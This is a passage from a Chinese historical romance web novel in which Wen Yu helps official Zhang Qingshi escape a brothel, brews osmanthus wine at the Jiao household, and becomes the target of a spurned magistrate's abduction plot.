而自己好不容易来了个稍微俊俏郎君的生意,却还要惨遭羞辱,真是倒霉透了。
而莫云炜则满脸不屑道:“因为你不够好看。”
“你……你……”
玉姑娘姣好的面容也被气得扭曲起来,然后也不装柔弱了,直接怨恨似地倪了莫云炜一眼:“好啊,你要寻她,你就去啊!”
既然大家都喜欢那个女人,那就让她一个人伺候两个,或者是两个人为她一起打起来最好。
心里也怨气满满地玉姑娘便替他们指清楚了三楼厢房的位置:
“他们就在那,你们去啊!”
“多谢!”
温玉礼貌地同她道谢,后又赶紧扯着莫云炜一同去三楼寻张郎君的身影。
31. 东州11
刚到三楼时,便听到中间一间厢房忽然传来一阵呼救声,恰好也是玉姑娘所指的位置。
“哇,这张清时玩得可真刺激!”莫云炜邪笑一声,“我还是小瞧了他。”
温玉:“……”
温玉在心底默默地翻了个白眼,不理会他的所言,然后快速走至厢房门前。
屋外没什么人,因为旁边都是各自欢快的声音,没人会偷听和顾忌。
而温玉眼前这座厢房内,则一直传来姑娘的呼救声。
温玉心一紧,为什么会是姑娘求救,难道是玉姑娘指错了位置?
她手搭在房门上,迟迟不敢推开。
“愣着干什么?”
莫云炜则毫不顾忌地直接伸手向前一推,却发现根本推不开。
“门应该从里边被锁上了,打不开。”温玉退开,略显懊恼,“我们要不去偷钥匙吧。”
“我是君子,我可不偷。”
莫云炜拒绝道,但却往后退了几步。
“再说了,破门哪需要钥匙?”
说完,他就往门上猛然一撞,那木头做的门则轻而易举地被他从外往内撞开。
温玉和莫云炜则水灵灵地看见张清时擒拿一弱女子在桌上,关键那女子还衣衫不整。
温玉直接就看愣了,她何时见过这样的张郎君。
“温玉,你怎么会在这?”
张清时看见温玉在这,内心忽然有些慌乱。
而莫云炜则在一旁拍手叫好:“哎呦,张刺史,还是你会玩啊?小弟真是佩服佩服!”
张清时冷言:“不是你想的那样。”
“那是哪样啊?”莫云炜继续说着一些污言秽语,“你看,好端端的姑娘被你压成这样了,还说不是。”
“就是。”被压着的香叶也跟着起哄道,“郎君,你快帮帮我,这位大人他…他……想强迫我!”
说着说着,香叶就露出一副被欺负的样子来,可怜巴巴地看向莫云炜。
莫云炜见了果然就怜香惜玉起来:“好好好,小美人,我这就叫人给你来主持公道。”
说完,他转身就要往门外走去。
不过腿还没迈开,忽而就听到“啪”地一声,莫云炜脑袋上就“哗哗哗”地掉落好几片碎瓷。
他满眼震惊,身子也跟着一怔,紧接着,双眼晕眩,轰然昏倒在地。
“温玉?”同样吃惊的还有张清时,他没想到温玉竟然直接搬了柜台上的花瓶去砸莫云炜,跟她往日般样子大相径庭。
但温玉却没什么表情,她只是深深呼吸了几口后便冷静了下来。
然后再将莫县令的身躯拖到一边,关上门,继而走到张清时面前,顺便也将香叶身上的衣服整理好。
一套下来,行云流水,一气呵成。
“郎君,还需要我帮你做什么吗?”
温玉十分真切地问,看向张清时的眼神中也透露出只要你一声令下,我就为你赴汤蹈火的坚定。
张清时虽也被她这眼神所憾动,但还是摇了摇头:“不了,温玉你帮我足够多了,剩下的就交给我吧。”
“喂喂喂?”
香叶先还像个没事人一样看莫云炜的热闹,到要解决她的时候,她就立马慌张了起来。
她知道向张清时求情无用,便把目光投向了温玉:“小娘子,我们同为女子,你应该也会帮我的吧?”
“不,我只会帮我的郎君。”温玉毅然决然地拒绝。
“呵呵呵。”香叶冷嗤一声,见此路行不通,然后又开口喊了起来,“救命啊!救命啊!”
“救命!唔唔唔!”
香叶还没叫几声,温玉就已经眼疾手快地将桌上的帕子塞进她的嘴里,让她发不出任何声音。
这下,香叶彻底老实了。
接着,张清时便将香叶背在身后的两手反扼制住,带着她起身,走至窗边,然后对外面吹了两声哨响。
不出五秒后,立马从窗台上翻出个黑衣人来。
虽带着面罩,温玉也能认出,那是凌侍卫。
凌侍卫见到她也微微吃惊了一下,但没说些什么,对着张清时颔首示意后便用绳索绑了香叶,再扛起她从窗台上往下翻跃。
这楼足足有三层高,凌侍卫眼睛都不带眨地直接跳下去,由此可见他的功夫得多好啊。
而温玉还在感慨时,张清时也走至窗边,似也要往下跳跃。
难道郎君身手也这么高强?
但张清时只是往外看了一眼后又退了回来,视线又与温玉那双期待的眼神相逢。
“咳咳,我只是目测一下这到地面有多少的距离。”张清时轻咳一声道,他是个普通人,跳楼这事不专业。
“噢——。”温玉轻轻地“噢”了一声,又问,“那我们怎么下去?”
“怎么下去?”
张清时若有所思地环视着周遭,目光停留在屋内床上的那顶纱幔,全拆下来的话,目测有两层楼高的距离,刚好能让他带温玉一起出去。
于是张清时走上前去拆纱幔:“我们将这顶纱拧成绳,就可借着它而出去。”
温玉听之上前帮忙。
纱帐是极好拆的,只要解开系在床杆的两股绳就可以。
不过解结容易,心结难开。
解着解着,两人就撞到一块去了。
“抱歉,郎君。”温玉连忙后退,一脸歉意道。
“没事。”
张清时看着她又有些欲言又止。
先前给乌合人下迷药,不仅得到他们与陈府交易的证据,还探查到他们同东州有所往来。
且尽管东州和青州的边关水火不容,但只要是陈府的货物,都可以随意畅行,不受阻碍。
所以他特意借此次焦郎君的生辰来东州。
表面上跟着焦郎游玩,实地是在放长线,钓大鱼。
而瞿源和香叶则是大鱼派便是来试探他来访青州的目的。
但温玉,张清时始终捉摸不透。
最开始以为她是陈府和赵县令的人,后又听说她的“兄长”在东州,又以为她是东州这边的人。
可如今他的计划已有一大半暴露在她的眼前,她都无动于衷,还——在帮他。
她到底是谁的人?目的何为?
“郎君?”
温玉看着张清时的眼神由平静骤然变得锐利,心中不由地紧张。
可是在怪她不好好待在瓦肆,不听他的话?
果然,娘说的都对,无论如何都得听主君的话,不难就会惹恼了郎君。
“郎君,不要恼温玉了,好不好?温玉不是故意要来的,温玉只是担心郎君受伤害。”
温玉垂着头,手指扭打在一起,活像个做错事的小孩一样。
“我没有怪罪你的意思。”
张清时的确没有怪罪她的意思,之所以带她来东州,也是想演戏给她看,借她来传递假消息的。
只不过现在目的暴露得太过明显,他一时没有想好如何处理。
“那郎君,眼神怎么怪怪的?”
温玉悄悄抬头,视线试探性地打量着张清时的脸色。
“我……”
“咚咚咚——!”
还不待张清时解释,门外就传来一阵敲门声,以及瞿源的声音:
“张郎君,你这屋怎么没声了?你还在里面吗?”
“张郎君?张郎君?张郎君?”
屋外询问的声音愈加紧迫,张清时的眉头也跟着紧皱了起来。
他知道这是瞿源来监视情况来了。
但他已抓了香叶,现下也不是同瞿源摊牌的好时候。
“不在吗?不在?我就进来瞧瞧?”
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门外开始传来推门的吱呀声和钥匙插入锁孔的声音。
张清时握紧了拳,将沉重的目光再次投射到温玉身上,说出违背他原则的话:
“温玉,帮我?”
温玉不知道要帮张郎君什么,只是一味地点头。
随后,在门被打开的千钧一发之际,张清时将她推至床上。
床板产生剧烈的摇晃后,床顶上几乎被拆解下来一大半的纱幔也随之落在他们身上。
再伴随着沉重滚烫的呼吸,一下一下地蜷缩成一堆,紧紧地缠住两人。
而瞿源闯进来便是看到这一副场景,脸上立马浮现出油腻的笑容:
“原来郎君你在——你怎么不吱声呢,我还以为——”
“以为什么?”
张清时用手挡住温玉的脸,起身怒斥道:
“还不快滚?”
“好嘞好嘞好嘞!小的马上滚!哈哈哈!”
瞿源见张清时这副为美人动怒的样子,还真以为他被香叶给拿下了,这才放下心继续回青楼喝酒找乐子去了。
走之前他还很贴心地替他俩好好地关上门。
只听关门声一响,温玉和张清时不由地各自都松了一口气。
松完气后才注意到两人的身子贴得是十分的近。
因为张清时刚才将温玉猛然推下时,还担心她受伤,便分别用手放在她的脑勺后和背后处。
之前有外来的因素在,没那么刻切在意。
直到外在撤去,只剩他们二人时,五官乃至四肢的感受都被无限放大。
是灼烧,又有一丝来自原始的、不受掌控的悸动。
两人都莫名有这种感觉。
视线悄然对上时,好像也读懂了彼此这样的心理。
不过这次是张清时先错开视线。
他垂下眼眸,不敢看温玉那双清澈灵动的眼睛:
“温玉,抱歉,你…你先起来吧。”
“噢。”
温玉点头,可她是完全平躺在床上的,纱幔又将两人裹得很紧,她没办法平地起身。
只能……
她抿了抿唇,试探地问:“郎君,我能扶你吗?”
没想到这一句话竟让张郎君耳根迅速红透,满腹经纶的他说话也开始支支吾吾起来:“你…你…你说什么?”
“我…我…起不来?”
两人呆久了,说话的语速都变得一模一样。
“我压着你了?”
张清时想低头想察看情况,可视线往下却是女人随着呼吸微微起伏的胸膛。
这下好了,不仅耳根红了,脸庞也红了。
而温玉还以为张郎君喝醉上脸了,关切地问:“郎君,你没事吧?”
“我没事。”
张清时干脆闭上眼,又问道:“我压着你哪了?我让开。”
“没…没有郎君,我只是想扶着你胳膊起身。”
温玉轻声道,张郎君的确没有压着自己,他下半身是跪在床上的,只是有只手被她压着身下,不好动弹罢了。
“好,你扶吧。”
张清时说这话时心里不由地喘了口气,然后将在温玉脑后的手缓慢抽出,然后支起上半身,方便温玉逃离。
温玉也由此用秀指搭上郎君宽厚结实的臂弯,慢慢捏紧,再按下起身。
虽然只是一个起身动作,但张清时莫名地觉得很漫长,温玉的手捏在他的臂弯犹同捏在他的心脏上。
一紧一压,他的心代替他的视线感受着温玉。
直到温玉彻底扯出他的禁锢下,张清时才缓神过来,睁开眼,对着温玉又是一句“抱歉。”
郎君对她说过很多抱歉了,温玉不禁又一次在心底感慨道郎君就是这世上最好的人。
她也想,不,她想嫁一个像郎君这样的人。
32. 东州十二
继瞿源离开,温玉和张清时二人又继续着逃跑计划。
两人合力地先将纱幔拧成一股麻绳状,然后再将一头捆在床杆上系个结,一头便从内扔向窗外,直坠地面。
一切准备就绪后,张清时在测试绳子的结实度,而温玉则倚着窗台往下俯看。
则青楼虽是三楼,实则也有这很好的距离。
温玉看了两眼后便心底有些发怵,万一借绳索爬下去时不小心失了手,那岂不是会摔成一个残废?那她还怎么能继续待在郎君的身边,继续帮助郎君呢?
大大的眼睛里写着忧愁。
这会儿,张清时也试完绳索的结实度,转眼便也注意到温玉眼中的忧惧,于是轻声安抚道:“温玉,不用怕,你抱着我,我带你下去。”
“真的吗?郎君。”
温玉刚还有些害怕,不过一听到张清时要带着自己一起,转瞬间就全都烟消云散了。
只要有郎君在,她就感受到踏实。
这是谁都不能给的。
“真的。”
张清时一点头,温玉就立刻上前抱住了他,头紧紧埋在他的胸膛上,全身心都在感受来自他的温暖。
可能她抱得太急,张清时先顿了一下,稍即便用手臂环着她的细腰,跃上窗台,再带她一起靠着绳索从三楼滑落至一地面。
不过刚达到地面时,温玉还没从他怀里起开。
他也没有说什么,手立马地松开,目光开始变得沉重起来。
“温玉,这几日我要单独离开。”
“单独?”
温玉猛然抬头,满眼诧然,为何郎君这次又要离开?他又要去做什么?他为什么不愿意带自己?
张清时理解她眼中情绪,但还是从她身间抽离了出来,认真嘱咐道:“这几日你最好待在焦郎府上,一刻也不要外出,我会叫焦郎和袁夫人照看好你的。”
“不要,温玉要和郎君在一起。”
温玉上前紧紧地攥住张清时的衣角,像一个孩童怕离开父母那样,害怕张清时的再次离去。
“听话,温玉。”
张清时如月光冷硬的眼神印刻在温玉眼睛里,似在命令她松手。
“不……”
温玉还在做最后地拒绝,湿润的眼睫微微发颤,似也在向他求情。
可张清时却依然强硬地将她的手拽开,她瞬间就感受到无措和恐慌,眼圈泛红地看着张清时,似乎是在控诉他为什么抛弃自己。
张清时也觉得自己的态度过于冷漠,但他别无它法。
今夜一过,瞿源那一派别的东州人很快就会清楚他的目的。
他今夜一定得有所行动,找出交易的货物以及背后的交易人。
再加上温玉她是卧底,自己看不清她的虚实,她在身边永远是个定时炸弹。
所以把她交给焦郎君已是最好的办法。
可眼前人眼眶中蓄满了一汪泉水,泪珠不断波动流转,也在波动他的心弦。
如若放任不管,只怕那汪泉水变成洪水,要淹没他的所有理智。
张清时还是柔和下眼眉,用手擦拭掉温玉眼角溢出的泪珠承诺道:“我会回来接你的。”
说完,他抽回手,转身迈开步伐就离开了。
直至他的身影彻底消失于大街,温玉的眼泪簌簌地留了下来。
她总是好害怕失去,怕一切美好的事物都逐渐离她而去。
小时候的疼爱她的父亲,陪伴她一起长大的母亲,还有一直温柔待她的郎君。
虽然他们都说他们会回来的。
*
温玉还是只身回去了焦府,因为她除了好好听话也没有什么选择。
回到焦府,焦郎和袁氏也没有质问她和张清时后面去做了什么事情,依旧让她住上好的厢房,让她好好歇息。
最重要的一点是不要出府。
其实有没有他们的告诫,温玉也不会随意出府的。
因为没有张郎君的依仗,陈府的爪牙也会找上门的。
除了害怕见到他们以外,她也想少做一点对郎君不利的事情。
不过温玉没想到的是,除了陈府的爪牙会找她以外,还有一个人是十分锲而不舍的。
第二天,日头才刚上去一会儿,莫云炜就头包着布在焦府门前吵闹了起来。
“大家都来评评理,这青州张刺史来东州,竟然袭击东州的官员,不仅是在我们东州土地上撒野,更是在看不起我们东州的人!”
莫云炜满腔愤恨地控诉着张刺史的罪行,果不其然地就激起群众的反响。
一一跟着申讨焦府,让焦府将张刺史放出来理论理论。
可张刺史根本不在府中,就算在焦郎和袁氏也不会放的。
听着府外吵闹,袁氏急冲冲地提着一条鞭子出了府门,在门口狠狠地在空气中打了三下鞭子,呵斥道:“我看是谁敢在我府门外闹事?”
闻言,那些鸦雀般的群众立马噤声,胆小者便都默默走开,移至角落偷偷看;胆大者则继续跟着莫云炜申讨:
“大家都是东州人,为何你要帮青州人?”
袁氏冷哼一声:“东州青州,大家不都是一国之人吗?还是说你生了割裂之心?”
这句话一下把那人怼得面目瞠舌,不好再说话。
莫云炜看大势已去,立马转移矛盾点,指了指自己脑袋道:“先不讨论东州青州,张刺史他打伤了我的头,这可一定要给我个说法!”
“哦,你有证据吗?”焦郎和温玉随后赶来,和袁氏娘子站在一道对抗莫云炜。
可莫云炜看到温玉,目光如炬:“这不,温玉就是最好的人证。”
“放屁!”袁氏厉声道,“昨夜我们都在瓦肆看戏,怎么会去青楼?”
“呵呵呵。”莫云炜冷笑几声,抬了抬手,身后便出来一位姑娘,就是是昨夜的玉姑娘。
玉姑娘优柔地朝袁氏和焦郎行了一礼后缓缓开口道:“奴婢作证,昨夜就看到温玉和张刺史大人在这青楼厮混。”
“那又如何?你有亲眼看见二人殴打莫云炜吗?”焦郎反驳道。
这时玉姑娘偷摸看了莫云炜一眼后,立即频频点头道:“奴婢有看到。”
“你说谎!”温玉斥责道,“你明明就只看到我和莫——”
“温玉。”话还没说完,袁氏就拦住了温玉,低声道,“和他一起进青楼可不是什么光彩的事情。”
转身又眼神犀利地盯向玉姑娘:“这位娘子,且不说你有没有真的看到实情。但有一点我要提醒你,做假证污蔑朝廷重臣可不仅仅下几年牢狱那么简单,要知道刺史可比一个县令官大,他可护不了你。”
这意味深长的点拨,玉姑娘瞬间就明白了,惶恐地跪在地上道:“请焦御史,袁娘子恕罪,奴婢的确是见到温玉和张刺史进入青楼,未曾见过他们合力殴打莫县令。奴婢不是故意做伪证的,奴婢只是一时紧张,记忆混乱了。”
“如此说来,此人的话不必当真。莫县令可还有其他说辞?”焦郎君再将话头引在莫云炜身上,看他还有什么花样。
“真是没用的废物,吓你两句就全给招了。”
莫云炜捂着头狠狠地骂了玉姑娘几句。
然后视线又停留在温玉身上,挂上一副虚伪的笑容道:“温玉小娘子,你不是很想嫁我吗?那天到底发生什么事情,你快替我同大家一道说清楚吧。”
语毕,好几道视线都落在温玉身上。
袁氏皱着眉道:“温玉,怎么回事?”
亏她瞧这小姑娘秀丽恬静,恰好张清时又想装纨绔,才一直撮合他两。
还给她好吃好喝,没想到竟
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是一条白眼狼在身边。
察觉到大家凌厉和质问的眼神,温玉心中是闪过一丝害怕,但她也不会因此打退堂鼓,也不会去做伤害郎君的事。
莫云炜他虽是官,但又能如何。
她不能再一次委曲求全下去。
想她生命过去的十几年内和母亲一般的委曲求全换来的是什么?
是无尽的羞辱和挨打。
是病后还要惨被抛弃。
是除了陪床只有陪床的命运。
她想向第一次反抗陈府那样反抗莫云炜。
于是她在众多繁杂情绪的眼神中第一次□□地抬起她的头,直视那双象征着权利的眼睛,勇敢道:
“莫县令,第一,我可从未说过我要嫁你。”
“第二,我证明不是张郎君伤得你。”
是她伤了莫云炜,他自己也知道,只是他想嫁祸给张郎君。
“好…好…温玉。”这一番羞辱,将莫云炜气得眉毛都倒歪了起来,“你给老子记住,老子有的办法是收拾你!”
“说什么呢,当我们不存在?”
袁氏听完温玉的解释,瞬间打消了自己的疑虑,又一次站在温玉的身前,替她挡住所有。
莫云炜暂时也真没拿温玉没办法,恶狠狠地瞪了一眼后,便带着他的小厮走了。
四周看热闹的见主角都下场了,各自也纷纷散开,毕竟焦郎和袁氏他们也都得罪不起。
周围一下又恢复往日的宁静,袁氏一把揽过温玉的肩膀,夸赞道:“我就说我没看错过你。”
“谢谢袁娘子。”温玉由衷感谢道,她自己心底的勇气被激发,三分之一是自己的不甘,三分之一是为了张郎君,而剩下的三分之一是来自于对袁氏的崇敬。
她端庄大气又英姿飒爽,有勇又有谋,真是难得的全面女子,她也想成为她这般女子。
而袁氏看见温玉眼中冒着小小亮光,笑得也更开怀了:“你要的不只是谢我,还得谢谢你家郎君,他让我一定要招看好你。明年这个时候他可得送我很多坛酒呢!”
“郎君,会酿酒吗?”温玉想起郎君做饭的样子,认为他只是比那些个十指不沾阳春水的贵公子好一点。
“那必须的。”袁氏谈及此处,都砸吧了一下嘴,“当今圣上喜欢梅花,张郎君喜欢芙蓉花。在两个人年少时,一吵架,圣上就拿他种的芙蓉花送人,他就拿圣上的梅花酿酒。
哈哈哈,他酿了好多,又喝不完。幸得焦郎与他当过一段时间同僚,我才能尝尝这一份带着恨意浓浓的酒啊!”
“娘子,这话还是谨慎点讲好。”焦郎在一旁提点道,“那分明是掺杂着爱意的。”
“哈哈哈哈!”
三人巧妙地对视一眼后,不由地都笑了起来。
随后,温玉拜别袁氏和焦郎君独自回到厢房,可一回到厢房没坐一会儿,无聊和惆怅感就加倍升上心头。
唉,温玉自怨自艾地叹了一口气,这厢房好归好,但总归是她一个人在,少了些乐趣。
她想着要不还是走去看看有什么能帮焦府做的事情。
于是,她又自个走在院落里,去瞧瞧院落里的丫鬟和仆从在忙些什么,看看他们需不需要自己帮忙。
焦府里倒是有许多丫鬟和仆从们的,他们一早上起来干杂扫的干杂扫的,洗衣的洗衣,准备水果的在准备水果。
大家都在认真地做着自己的事情,温玉望着也有所感触,往常这个时候她就和雨燕她们一起给花树除草、浇水、施肥。
虽有时候有点累,但一抬头看到和闻到红艳的花朵和芬芳的香味时,一切疲惫感都能被一扫而空了。
还是很怀念在刺史府的日子。
不过,她在这里也可以去做一件让大家扫清疲惫的事情。
比如说——酿一坛酒。
33. 东州13
说干就干,温玉向来是个执行力强的人。
但首一个重要的问题就是考虑酿什么酒。
在东州的这些天,日子过得很快,马上十月就要过去了,院内院外种植的绿植,也都逐渐成枯黄之势,落叶铺了满地。
日月更替,树和花也有交替,温玉想着刺史府里郎君种的那些芙蓉花也会在十月掉落完吧。
真是有点可惜,美好的事物怎么都那么容易逝去?
温玉拾起一片落叶,心想要不——就考虑酿一坛花酒?
把逝去的它们制成一坛醇厚的美酒,说不定——在以后的季节里,人们每每品尝时,就能忆起那些看过的花,经历过的事情以及制作他的人呢?
思衬过后,温玉决定选择做一坛桂花酿。
桂花是十月底开得最多、香味最浓、秋天气息最足的花,用它制酒,又甜又香,还富含秋天的记忆,是最好不过了。
随后,温玉便去了焦府的厨房,与房内的嬷嬷借了些糯米后就开始制作起来。
她在陈府干过很多活,尤其是厨房烧菜油大烟浓的活,府内很多小丫鬟都不愿意干,怕黄了自己的脸或者沾染油烟的气味,所以这活就自然落入她的头上,以至于她现在会很多菜式,也算是掌握了一身本领。
取了糯米洗净后,便需要放在冷水中浸泡好几个时辰,趁这个时间温玉想去院中打点桂花。
可将焦府满院都走了遍,才后知后觉这里原本就不种花,只有绿植和一个偌大的荷花池。
但好在桂花是满街道都有种的,温玉在一堵墙上就看到一颗悬挂在天边“金色的云”。
温玉欣喜万分,立刻去借了竹竿去打,可没想到树与院落的距离只是看着那么近,实际上距离远得连杆子都打不着。
刚升起的情绪又瞬间跌落,温玉挠挠头不知何解,她取不到桂花,就酿不了酒,酿不了酒,就不能送给袁氏他们喝了。
但她又不能出去,这现在出去不仅要害怕遇上陈禹的人,还要害怕遇见难缠的莫县令。
“唉!”
温玉长叹一口气。
“要是能来个神仙帮忙就好了。”
“有需要我帮忙的吗?”
恰好,这时有个路过的青年仆从真挚地向她问道。
“太好啦!”温玉高兴地声音都拔高了好几度,讲话也有些手舞足蹈,“谢谢,我想要这院外的桂花,但我不能出府,你能帮我打些回来吗?”
她的眼睛像林间的小鹿似的亮亮地期望仆从答应。
“当然可以。”
仆从果真被她打动,笑着应允下,然后就从她的手中拿走竹竿去替她打桂花。
待他拿着竹竿转身时,那背影像极了要执剑杀恶魔的“勇士。”
望着他的背影,温玉都忍不住小声地喊了句:“加油!”
“好!我会的!”
仆从招了招手,颇有大侠的潇洒自如的气质。
温玉心中愈加欢喜,两只小手抱着一起,默默期待着那位“大侠”能够打许许多多的桂花回来。
这样的话她就还能再做一些桂花糕,给袁氏娘子和焦郎君他们尝尝,也算是报答他们收留自己的一份恩情。
等仆从远走一会儿后,温玉又回到小厨房,因为现在桂花不用自己打,糯米还在浸泡中,她索性就同厨房里的丫鬟一起给煮饭嬷嬷帮工。
毕竟她最熟稔的就是做饭,帮她们也不会出什么差子,顺便也能够多学些这个地方的手艺。
等勤勤恳恳帮厨房做完菜,吃中午饭时,恰好仆从也抱着一袋桂花回来了。
他笑着走过来,袋子是敞开口的,桂花都露了出来,这样显得他手里像抱着一堆金元宝似的,引得丫鬟院里一阵激动和欣喜。
便都给围了上去,仔细瞧见是桂花时,也没显得气馁,反而更加欢喜。毕竟这么漂亮、香味又浓的花儿,论谁见了都很喜爱。
随之就有不少丫鬟们也想要院外的桂花,有的想将这花制成贴身的香囊,也有的想用它泡美容养颜茶,有的则也想和温玉一样做成各式各样的没食。
总之,用它做每样都会很精彩,很多丫鬟抢着要。
可惜仆从给温玉带的桂花不够分,所以就有些许丫鬟没分到,略露了失落之色。
温玉安慰着她们可以去外面自己再取些,顺道还指了一下位置。
听之,她们又恢复了动力,立刻相约着等午饭后一起去府外打桂花,要让这府上每个丫鬟婆子们都分到。
因为温玉不能出去,所以就没有选择加入她们打桂花的行列中,而就将已分剩下些的桂花慢慢收拢起来,再分成两拨,一小拨用来酿酒,一小拨用来做桂花糕。
等一同吃完午饭后,她就继续在厨房内忙活做她的桂花糕,其余房内帮活的两三个丫鬟便和管事嬷嬷报备要去府外摘桂花。
经管事嬷嬷一同意,她们就兴致勃勃地提着竹篮,拿着竹竿出门了。
这桂花香味浓郁,素有“十里飘香”的能力,凭借着这点和温玉所说的大致方向,她们就很快找到那一颗树,然后伸起竹竿去打。
桂花枝叶被轻轻一打,漫天的桂花纷纷飘落,她们激动地马上用竹篮接着。
接完后还要互相嬉笑对方落满桂花叶的狼狈样子,然后边笑边闹地替对方拂去身上的花和叶。
本来是一副很和谐的场景,但不远处一张紧绷愤怒的脸打破了这份美好。
他双手紧紧地攥成拳,指甲狠狠地陷入肉里,发疼了,他才舍得松开。
莫云炜有些触景生恨了。
联想到那日,他也是这么被温玉给吸引住的。
原以为她是个乖巧贴人的,没想到却是一白眼狼!
亏他还为了她付出了那么多,她竟然却一点也不领情,还要在那么多人面前打他的脸。
真是他此生当中的奇耻大辱!
他心有怨气,气在肺中,化作一口痰顺势吐了出来。
这口气他可真咽不下!!!
这时,他身后的仆从也走上前来询问道:“主君,接您回去的马车来了,咱回去吗?”
参加焦郎的生辰本只需一日,可为了他心爱的小娘子,却耽搁了数日。
数日之后,却连个毛都没有得到。
这可不是他莫云炜做事该有的成效,他怒道:“回去干什么?回去继续面对那个天天跟我唱红脸的疯女人?”
他才不会回去的,哪有自己费力费时做事情,奖励还没得到就回去的人呢?
他得要将这温玉给娶回去,这事才算完!
仆从见势又驱散了前来接人的马车,小心翼翼地问:“主君,我们该如何做?”
莫云炜冷哼一声:“等她出来,给她强掳了回去。”
软的不行,那就给她上上强度!
*
“啊—啊—啊秋!”
不知道是面粉的原因还是因为什么,温玉打了个超大的喷嚏。
温玉没多想,就将已做好的桂花糕放蒸笼上蒸着,然后继续开始做她的桂花酿。
糯米浸泡时间过后,便把糯米都取出来放在另一个蒸笼上蒸。
蒸好后便放入坛中,再加上满满一大勺的桂花和少许的酒曲。
混合均匀后则将坛置于阴凉处,等待几日,那鲜甜美味的桂花酿就做好了。
温玉开心地拍了拍手,不知道郎君尝了后会不会喜欢?等到了冬天会不会也邀请她一起做梅花酿?
不管怎样,先将这桂花酿好好酿好。
桂花酿放置好后,蒸笼上的桂花糕也一道好了。
温玉取下,浓浓的桂花清香扑鼻而来,而这糕体也非常有型,精致可爱的。
温玉蒸的有数几十个,做好后便毫不吝舍地给小厨房分一些,给帮助过她的仆从分一些,然后再将剩余的全送给焦郎君和袁氏娘子。
而焦郎君和袁氏娘子尝了一口都说好,还说以后得了梅花酿也分她一坛。
她可高兴了,便开始期待着郎君什么时候归来,又什么时候能够带她一起回家。
可日复一日的,一直都没有收到郎君任何信息。
为了平静内心的这份不安,温玉就一直在找事情做。
早上帮丫鬟们扫院,中午帮院内的嬷嬷煮饭,下午帮丫鬟们洗衣裳,晚上她没什么娱乐活动,就过去厨房看一眼自己的桂花酿后就回了厢房。
她一直遵守张郎君的嘱托,决不踏出焦府一步。
可这就急坏了府外的人。
府外莫云炜的侍从在这里连着蹲守了好几夜连温玉的人影都见不着,实在熬不下去了边去客栈里找自己家主君,满身疲惫道:
“主君,这温玉小娘子一步都不肯出府,小的们都快把眼睛熬瞎了怕也是等不到了!”
“真没用!”
莫云炜气得将茶杯重重地往桌上一落,可剧烈摇晃出来的热水又烫着了他的手背,令他疼得咬牙切
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齿的。
侍从见状更加是大气也不敢喘,累也不敢喊了。
莫云炜等烫气消散后,拧着眉头道:“有什么好办法能直接逼她出来吗?”
侍从左思右想提醒道:“郎君,这府内有袁娘子和焦郎君在,恐怕有什么事也是他们夫妇挡在前头。”
“那趁他们不在强行进府掳走她呢?”莫云炜不耐烦道。
“也不好,袁娘子是当过将军的,听闻有几个她带过的兵也住在府上,恐怕我们打不过。”侍从又一次否定了他的想法。
莫云炜本就不耐烦了,听到这样的回答怒火中烧地直接把桌上那盏茶杯直接扔在侍从脚上,怒道:“这也不行,那也不行,我要你们有何用!”
即使被茶水溅了一身,被茶杯砸到脚,侍从也不敢喊一句疼,还要安慰莫云炜:“主君,来日方长,她不可能总待在焦府,等那一天她和张刺史一起回青州时,我们扣押他们的马车就是。那时候你不仅能掳走小娘子,还能羞辱张刺史一番。”
“这倒是个法子。”莫云炜听到能羞辱张刺史这句话心底终于有一些舒畅,但忽而又觉得不行,“张刺史手底下有什么著名的打手吗?”
“这……“
侍从语塞,因为焦郎同是东州官吏,理当都会了解清楚。可这张刺史比较是青州官吏,他的确不知道他的底细。
于是莫云炜斜睨了他一眼:“出的什么鬼主意?快给我想一个行得通、没风险、又快的办法!”
“是……”侍从低声应道,开始绞尽脑汁去想这比登天还难的问题。
想着想着,忽而见到店内来了个穿着一身破烂的老翁和一个七八岁、瘦瘦小小的小女孩,看样子是父女。
他们两走进来,先是东张西望,后对到其他人的视线又赶忙缩回来,等视线消移,他们又继续打量。
左瞧瞧右瞧瞧好一会儿,那老翁的视线立马变得清明专注了起来,直拖着自己的小女儿来到一个穿的稍微体面,但身材略微虚胖的人面前。
双手合十,佝偻着腰道:“见过郎君,这位就是我家女儿,您看能卖多少钱?”
那位口头上的“郎君”翘起个二郎腿,磕着个咸瓜子,匆匆地扫了那小小的女孩后,就嗤笑道:“就这货,你也敢管我要十银两,我才不要呢!”
“这……”老翁嗫喏着嘴,有些窘迫道,“不是家里有生病的人,还吃不上饭,就不想让娃儿跟着受苦了。而这十银两就是救命的钱,郎君您就当行行好吧!”
“虽然我是个好人。”那位“郎君”自夸道,“但这生意也不是这么做的,要我说就两银两,多一分我都不出了。”
“这……”老翁神色忧虑,似又觉得不值,但现下他又没什么办法。
他低下头,又看了一眼自己的小娃,本该白净的皮肤跟着他却总是灰扑扑的。
而眼前的人牙子,吃好的穿好的,怎么着也苦不了娃儿吧。
“唉!”他长叹一口气后,咬咬牙道,“行,两块银两就两块!”
“就喜欢你这爽快的人!”那人牙子这才拿正眼瞧他,然后就袖兜里使劲掏,才掏出两块银两给到老翁,“拿走吧,别客气。”
老翁小心翼翼地双手捧过,万分感恩地朝人牙子拜了几下:“谢谢郎君!”“谢谢郎君!”
然后,他再将银两揣进胸口里埋好,接着便把小女娃推了过去,苦心道:“娃儿,从今以后,我就不是你的爹了,你跟着大善人好好混,莫要再记挂家里的人了。”
说完这番嘱托后,还假模假样地揉了两下眼眶,然后紧紧捂着胸口立马头也不回地走了。
原本还在发懵的小娃见自己爹走了,连忙要跟上去,但却被人牙子给拦住。
他一副油腻的邪笑道:“你爹将你卖给了我,你就必须跟着我走!不许再跟着你爹走了!”
年少的小娃那听得懂这些,就一个劲儿想要往前跑,却一直被人用力地拖着。
然后只能在原地放声大哭道:“爹爹,我要爹爹!”
“爹爹,我要爹爹!”
这哭喊声过于嘶哑和吵闹,影响到不少贵客都往那边斜睨了几眼。
莫云炜听了也很烦躁,最讨厌女人哭了!
“喂,在发什么愣!想好什么办法了没有!”莫云炜催促道。
侍从思绪这才收回来,不过这也给他提供了新的灵感:
“主家,要不——”
“我们也将她拐卖出来?”
34. 东州14
今天虽是新的一天,但又是寻常的一天。
温玉上午照旧同其他丫鬟一样在院落里扫着地,而今日里小厨房的嬷嬷也出来了,挎着一个大大的菜篮子看样子是要外出采买。
嬷嬷提着篮子走在院中,笑容贴切地向大家问道:“你们这些小姑娘,今日我外出,有什么是需要我给你们带的吗?”
闻言,立刻就有许多丫鬟围了上来。
